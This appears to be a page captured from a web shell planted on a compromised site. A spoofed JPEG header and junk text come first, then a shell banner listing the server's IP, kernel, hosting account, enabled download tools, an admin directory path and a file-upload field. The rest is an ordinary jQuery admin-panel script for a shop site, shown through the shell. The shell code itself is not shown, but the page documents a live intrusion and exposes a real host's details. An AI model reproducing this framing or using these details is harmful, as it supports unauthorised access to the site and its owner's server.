���� JFIF fdasasfas213sdaf
Server IP : 88.222.243.200 / Your IP : 216.73.216.200 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u479334040/domains/saumasale.in/public_html/admin/custom/ |
Upload File : |
$(document).ready(function () { selectedImage = ""; // $("textarea").summernote(); $("textarea").summernote({ toolbar: [ // [groupName, [list of button]] ['style', ['bold', 'italic', 'underline', 'clear']], ['font', ['strikethrough', 'superscript', 'subscript']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['height', ['height']] ] }); setTimeout(function () { $(".note-image-input").remove(); }, 200); //$('#summernote').summernote(); $(document).ajaxStart(function () { $(".loading").show(); }); $(document).ajaxStop(function () { $(".loading").hide(); }); $("#registration_form1").submit(function () { $.ajax({ url: "command.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { alert("Blo successfull"); $(".close").click(); show_dealer(); } else { alert(data); } } }); return false; }); $("body").delegate("#state", "change", function () { var state_id = $(this).val(); //alert(state_id); $.ajax({ url: "command.php", type: "POST", data: { command: "states", id: state_id }, success: function (data) { $("#show_city").html(data); } }); }); $("body").delegate("#show_city", "change", function () { var city_id = $(this).val(); $.ajax({ url: "command.php", type: "POST", data: { command: "postcode", id: city_id }, success: function (data) { $("#show_postcode").html(data); } }); }); $("body").delegate("#city", "change", function () { var city_id = $(this).val(); $.ajax({ url: "command.php", type: "POST", data: { command: "show_postcodes", id: city_id }, success: function (data) { $("#postcode").html(data); } }); }); // $("body").delegate("#search_id","change",function(){ // var search_id = $(this).val(); // $.ajax({ // url:"command.php", // type:"POST", // data:{command:"show_order",id:search_id}, // success:function(data){ // $("#show_order").html(data); // } // }); // }); $("#search_tree").submit(function () { $.ajax({ url: "command.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { show_user(); } else { alert(data); } } }); return false; }); $("#add_product_form").submit(function () { $.ajax({ url: "command.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { alert("Add successfull"); show_user(); $(".close").click(); } else { alert(data); } } }); return false; }); $("#product_form").submit(function () { $.ajax({ url: "command.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { alert("Product add successfull"); show_product(); $(".close").click(); } else { alert(data); } } }); return false; }); var counter = 0; $(".add_variant").click(function () { var fields = '<div id="' + counter + '" class="col-md-12" style="margin-top:10px;"><div class="row"><div class="col-md-10"><div class="col-md-4 col-lg-4 col-sm-6 col-xs-12 float-left"><input type="text" name="size[]" placeholder="Size" class="form-control" /></div><div class="col-md-4 col-lg-4 col-sm-6 col-xs-12 float-left"><input type="text" name="color[]" placeholder="Color" class="form-control" /></div><div class="col-md-4 col-lg-4 col-sm-6 col-xs-12 float-left"><input type="text" name="weight[]" placeholder="Weight" class="form-control" /></div></div><div class="col-md-2 col-lg-2 col-sm-6 col-xs-12"><a href="javascript:void(0)" class="remove_varient btn btn-md btn-danger" data-id="' + counter + '" style="margin-top:3px;"><i class="fa fa-remove"></i></a></div></div></div>'; counter = parseInt(counter + 1); $(".variants").append(fields); return false; }); $("body").delegate(".remove_varient", "click", function () { var id = "#" + $(this).data('id'); var r = confirm("sure delete ?"); if (r == true) { $(id).remove(); } }); //SHOW PRODUCT DETAILS IN MODAL BOX $("body").delegate(".edit_product", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_product", id: id }, success: function (data) { $(".edit_products").html(data); } }); }); $("body").delegate('.update_image', "click", function () { var form_data = new FormData(); var current = $(this).data("id"); var id = $(this).data("image"); var name = document.getElementById(current).files[0].name; var ext = name.split('.').pop().toLowerCase(); if (jQuery.inArray(ext, ['gif', 'png', 'jpg', 'jpeg']) == -1) { alert("Invalid Image File"); } var oFReader = new FileReader(); oFReader.readAsDataURL(document.getElementById(current).files[0]); var f = document.getElementById(current).files[0]; var fsize = f.size || f.fileSize; if (fsize > 2000000) { alert("Image File Size is very big"); } else { form_data.append("file", document.getElementById(current).files[0]); form_data.append("id", id); form_data.append("command", "update_multiple_images"); $.ajax({ url: "command.php", method: "POST", data: form_data, contentType: false, cache: false, processData: false, success: function (data) { alert(data); } }); return false; } }); $("body").delegate(".add_more_variant", "click", function () { $("#addVariant").find("input[name=product_id]").val($(this).data("id")); }); $("body").delegate("#variants_add", "submit", function () { var id = $(".add_more_variant").data("id"); //alert(id); var form_data = $(this).serialize(); //e.preventDefault(); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (result) { if (result == "OK") { alert("variant added successfully"); } else { alert(result); } } }); return false; }); $("body").delegate(".del_variant", "click", function () { var id = $(this).attr("value"); //alert(id); var r = confirm("Are You Sure Want to Delete ?"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "delete_variant", id: id }, success: function (data) { if (data == "OK") { alert("Variant Deleted Successfully"); } } }); } }); ///////Serarch Dealer search_dealers(); function search_dealers() { $.ajax({ url: "command.php", type: "POST", data: { command: "search_dealers" }, success: function (data) { $("#search_dealers").html(data); } }); } ///////SHOW Dealer show_dealer(); function show_dealer() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_dealer" }, success: function (data) { $("#show_dealer").html(data); } }); } //SHOW VISITORS visitors(); function visitors() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_visitors" }, success: function (data) { $("#show_visitor").html(data); } }); } ///////SHOW Order show_order(); function show_order() { $("body").delegate("#search_id", "change", function () { var search_id = $(this).val(); $.ajax({ url: "command.php", type: "POST", data: { command: "show_order", id: search_id }, success: function (data) { $("#show_order").html(data); } }); }); } // $("body").delegate("#search_id","change",function(){ // var search_id = $(this).val(); // $.ajax({ // url:"command.php", // type:"POST", // data:{command:"show_order",id:search_id}, // success:function(data){ // $("#show_order").html(data); // } // }); // }); //DEALER INVENTORY $("body").delegate("#dealer_inventory", "click", function () { var id = $(this).data("id"); $(".open_inventory").click(); //alert(id); $.ajax({ url: "command.php", type: "POST", data: { command: "dealer_inventory", id: id }, success: function (data) { $("#show_inventory").html(data); } }); }); ////// update category $("body").delegate(".edit_category", "click", function () { var id = $(this).data("id"); $.ajax({ type: "POST", url: "command.php", data: { command: "edit_category_area", id: id }, success: function (result) { $(".edit_category_area").html(result); show_category(); $(".close").click(); } }); }); $("body").delegate("#category_form", "submit", function () { $.ajax({ url: "command.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { alert("update successful"); show_category(); $(".close").click(); } else { alert(data); } } }); return false; }); /////////// Deleted dealer $("body").delegate("#del_dealer", "click", function () { var id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Blog"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_dealer", del_id: id }, success: function (data) { if (data == "OK") { alert("Dealer Deleted Successfully"); show_dealer(); } else { alert(data); } } }); } else { alert("not deleted"); } }); /////////// Deleted user $("body").delegate("#del_user", "click", function () { var id = $(this).attr("value"); var r = confirm("are you sure want to delete user"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_user", id: id }, success: function (data) { if (data == "OK") { alert("User Deleted Successfully"); show_user(); } else { alert(data); } } }); } }); ////// update Dealer $("body").delegate(".edit_dealer", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_dealer", id: id }, success: function (data) { $(".show_dealer_det").html(data); } }); //return false; }); $("body").delegate("#edit_dealer_form", "submit", function () { var form_data = $(this).serialize(); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (data) { if (data == "OK") { alert("update successful"); $(".close").click(); show_dealer(); } else { alert(data); } } }); return false; }); //edit product $("body").delegate(".edit_product", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_product", id: id }, success: function (data) { $(".edit_products").html(data); } }); //return false; }); //ADD PLANS show_plans(); $("#add_plans").submit(function () { var form_data = $(this).serialize(); //alert(form_data); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (data) { if (data == "OK") { alert("Category Addedd Successfully"); show_plans(); } else { alert("not created"); } } }); return false; }); //ADD Sub Category show_plans2(); $("#add_plans2").submit(function () { var form_data = $(this).serialize(); //alert(form_data); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (data) { if (data == "OK") { alert("Addedd Successfully"); show_plans2(); } else { alert("not created"); } } }); return false; }); //ADD brand show_brand(); $("#brand_tab").submit(function () { var form_data = $(this).serialize(); //alert(form_data); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (data) { if (data == "OK") { alert("Addedd Successfully"); show_brand(); } else { alert("not created"); } } }); return false; }); //SHOW PLANS show_plans2(); function show_plans2() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_plans2" }, success: function (data) { $("#show_plans2").html(data); } }); } //SHOW Brand show_brand(); function show_brand() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_brand" }, success: function (data) { $("#show_brand").html(data); } }); } //SHOW PLANS show_plans(); function show_plans() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_plans" }, success: function (data) { $("#show_plans").html(data); } }); } //SHOW PLANS IN MODAL BOX $("body").delegate(".edit_plan", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "show_plan_detail", id: id }, success: function (data) { $(".edit_plans").html(data); } }); }); //EDIT PLANS $("body").delegate("#edit_plan_form", "submit", function () { var form_data = $(this).serialize(); //alert(form_data); $.ajax({ url: "command.php", type: "POST", data: form_data, success: function (data) { alert(data); $(".close").click(); show_plans(); } }); return false; }); //DELETE PLANS $("body").delegate("#del_plans", "click", function () { var id = $(this).data("id"); var r = confirm("Are You Sure Want To Delete"); //alert(id); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { id: id, command: "delete_plan" }, success: function (data) { if (data == "OK") { alert("Deleted successfully"); show_plans(); } } }); } }); //DELETE BRAND $("body").delegate("#del_brand", "click", function () { var id = $(this).data("id"); var r = confirm("Are You Sure Want To Delete"); //alert(id); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { id: id, command: "delete_brand" }, success: function (data) { if (data == "OK") { alert("Deleted successfully"); show_brand(); } } }); } }); //DELETE Sub Category $("body").delegate("#del_sub", "click", function () { var id = $(this).data("id"); var r = confirm("Are You Sure Want To Delete"); //alert(id); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { id: id, command: "delete_sub" }, success: function (data) { if (data == "OK") { alert("Deleted successfully"); show_plans2(); } } }); } }); $(".slide_plans").click(function () { $(".plans_form").slideToggle(); }); $(".slide_cat").click(function () { $(".add_cat").slideToggle(); }); $(".tabs").click(function () { $(".tabs").parent().removeClass("active"); $(this).parent().addClass("active"); var link = $(this).attr("href"); $(".my-tab-content").removeClass("active"); $(link).addClass("active"); //$('.table').DataTable(); return false; }); /* Ansari Code *//////////////////////////////////////////////// ///////SHOW Product show_product(); function show_product() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_product" }, success: function (data) { $("#show_product").html(data); $("#example1").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)'); } }); } //Edit Product $("body").delegate(".edit_product", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_product", id: id }, success: function (data) { $(".product_edit").html(data); $("textarea").summernote({ toolbar: [ // [groupName, [list of button]] ['style', ['bold', 'italic', 'underline', 'clear']], ['font', ['strikethrough', 'superscript', 'subscript']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['height', ['height']] ] }); } }); //return false; }); //////// Add Query $("body").on("submit", "form", function (e) { e.preventDefault(); var formData = new FormData(this); // var formData = $(this).serialize(); // var selectedImage = window.localStorage.getItem("image") ? window.localStorage.getItem("image") : ""; // var url = ""; // var file = $(this).find("input[type=file]"); // var submitting = false; // if(file.length >= 1){ // url = formData+"&image="+selectedImage; // if(selectedImage){ // submitting = true; // }else{ // submitting = false; // alert("Invalid Image"); // } // }else{ // url = formData; // submitting = true; // } // console.log("Image: ", selectedImage); // console.log("File: ", file); // if(submitting){ $.ajax({ url: "command.php", type: "POST", data: formData, // data:url, contentType: false, cache: false, processData: false, success: function (data) { if (data == "OK") { window.localStorage.clear(); toastr.success('Successfull.'); $(".close").click(); show_product(); show_spec(); show_image(); show_category(); show_gallery(); } else { toastr.error(data); } } }); // } }); /////////// Deleted Product $("body").delegate("#del_product", "click", function () { var id = $(this).attr("value"); var r = confirm("are you sure want to delete Product"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_product", pro_id: id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_product(); } else { toastr.error(data); } } }); } }); /////////////////// SHOW Spec show_spec(); function show_spec() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_spec" }, success: function (data) { $("#show_spec").html(data); $("#example2").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example2_wrapper .col-md-6:eq(0)'); } }); } /////delete Spec $("body").delegate("#del_spec", "click", function () { var p_id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Spec"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_spec", p_id: p_id }, success: function (data) { if (data == "OK") { toastr.success("Specificaton Deleted Successfully"); show_spec(); } else { toastr.error(data); } } }); } }); //Edit Spec $("body").delegate(".edit_spec", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_spec", id: id }, success: function (data) { $(".spec_edit").html(data); $("textarea").summernote({ toolbar: [ // [groupName, [list of button]] ['style', ['bold', 'italic', 'underline', 'clear']], ['font', ['strikethrough', 'superscript', 'subscript']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['height', ['height']] ] }); } }); //return false; }); ///////SHOW About show_about(); function show_about() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_about" }, success: function (data) { $("#show_about").html(data); $("#example3").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example3_wrapper .col-md-6:eq(0)'); } }); } //////////Edit About $("body").delegate(".edit_about", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_about", id: id }, success: function (data) { $(".about_edit").html(data); $("textarea").summernote({ toolbar: [ // [groupName, [list of button]] ['style', ['bold', 'italic', 'underline', 'clear']], ['font', ['strikethrough', 'superscript', 'subscript']], ['fontsize', ['fontsize']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['height', ['height']] ] }); show_about(); } }); //return false; }); ///////SHOW Multi Images show_image(); function show_image() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_image" }, success: function (data) { $("#show_image").html(data); $("#example4").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example4_wrapper .col-md-6:eq(0)'); } }); } /////delete Images $("body").delegate("#del_image", "click", function () { var p_id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Image"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_image", p_id: p_id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_image(); } else { toastr.error(data); } } }); } }); ///////SHOW Enquiry show_enquiry(); function show_enquiry() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_enquiry" }, success: function (data) { $("#show_enquiry").html(data); $("#example5").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example5_wrapper .col-md-6:eq(0)'); } }); } ///////SHOW Category show_category(); function show_category() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_category" }, success: function (data) { $("#show_category").html(data); $("#example6").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example6_wrapper .col-md-6:eq(0)'); } }); } //Edit Category $("body").delegate(".edit_category", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_category", id: id }, success: function (data) { $(".category_edit").html(data); } }); //return false; }); /////delete Category $("body").delegate("#del_cat", "click", function () { var p_id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Category"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_cat", p_id: p_id }, success: function (data) { if (data == "OK") { toastr.success("Category Deleted Successfully"); show_category(); } else { toastr.error(data); } } }); } }); ///////SHOW Gallery show_gallery(); function show_gallery() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_gallery" }, success: function (data) { $("#show_gallery").html(data); $("#example7").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example7_wrapper .col-md-6:eq(0)'); } }); } //Edit Galery $("body").delegate(".edit_gallery","click",function(){ var id = $(this).data("id"); $.ajax({ url:"command.php", type:"POST", data:{command:"edit_gallery",id:id}, success:function(data){ $(".gallery_edit").html(data); $("textarea").summernote(); } }); //return false; }); /////delete Images $("body").delegate("#del_gallery", "click", function () { var p_id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Image"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_gallery", p_id: p_id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_gallery(); } else { toastr.error(data); } } }); } }); ///////SHOW Video show_video(); function show_video() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_video" }, success: function (data) { $("#show_video").html(data); $("#example611").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example611_wrapper .col-md-6:eq(0)'); } }); } /////delete Video $("body").delegate("#del_video", "click", function () { var id = $(this).attr("value"); var r = confirm("Are You Sure Want To Delete Video"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_video", id: id }, success: function (data) { if (data == "OK") { toastr.success("Video Deleted Successfully"); show_video(); } else { toastr.error(data); } } }); } }); show_color(); function show_color() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_color" }, success: function (data) { $("#show_color").html(data); $("#example111").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example111_wrapper .col-md-6:eq(0)'); } }); } /////////// Deleted Product $("body").delegate("#del_color", "click", function () { var id = $(this).attr("value"); var r = confirm("are you sure want to delete Colour"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_color", pro_id: id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_product(); } else { toastr.error(data); } } }); } }); show_size(); function show_size() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_size" }, success: function (data) { $("#show_size").html(data); $("#example112").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example112_wrapper .col-md-6:eq(0)'); } }); } /////////// Deleted Size $("body").delegate("#del_size", "click", function () { var id = $(this).attr("value"); var r = confirm("are you sure want to delete Size"); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_size", id: id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_size(); } else { toastr.error(data); } } }); } }); ///////SHOW User show_user(); function show_user() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_user" }, success: function (data) { $("#show_user").html(data); $('#table_id').DataTable(); } }); } //Edit User $("body").delegate(".edit_user","click",function(){ var id = $(this).data("id"); $.ajax({ url:"command.php", type:"POST", data:{command:"edit_user",id:id}, success:function(data){ $(".user_edit").html(data); $("textarea").summernote(); } }); //return false; }); show_order(); function show_order() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_order" }, success: function (data) { $("#show_order").html(data); $("#example201").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example201_wrapper .col-md-6:eq(0)'); } }); } //Edit Order $("body").delegate(".edit_order", "click", function () { var id = $(this).data("id"); $.ajax({ url: "command.php", type: "POST", data: { command: "edit_order", id: id }, success: function (data) { $(".order_edit").html(data); } }); //return false; }); ///////SHOW Product show_sub_cat(); function show_sub_cat() { $.ajax({ url: "command.php", type: "POST", data: { command: "show_sub_cat" }, success: function (data) { $("#show_sub_cat").html(data); $("#example121").DataTable({ "responsive": true, "lengthChange": false, "autoWidth": false, "buttons": ["copy", "csv", "excel", "pdf", "print", "colvis"] }).buttons().container().appendTo('#example121_wrapper .col-md-6:eq(0)'); } }); } /////////// Deleted Product $("body").delegate("#del_sub_cat", "click", function () { var id = $(this).attr("value"); var r = confirm("are you sure want to delete."); if (r == true) { $.ajax({ url: "command.php", type: "POST", data: { command: "del_sub_cat", pro_id: id }, success: function (data) { if (data == "OK") { toastr.success("Deleted Successfully"); show_product(); } else { toastr.error(data); } } }); } }); /* Ansari Code */ });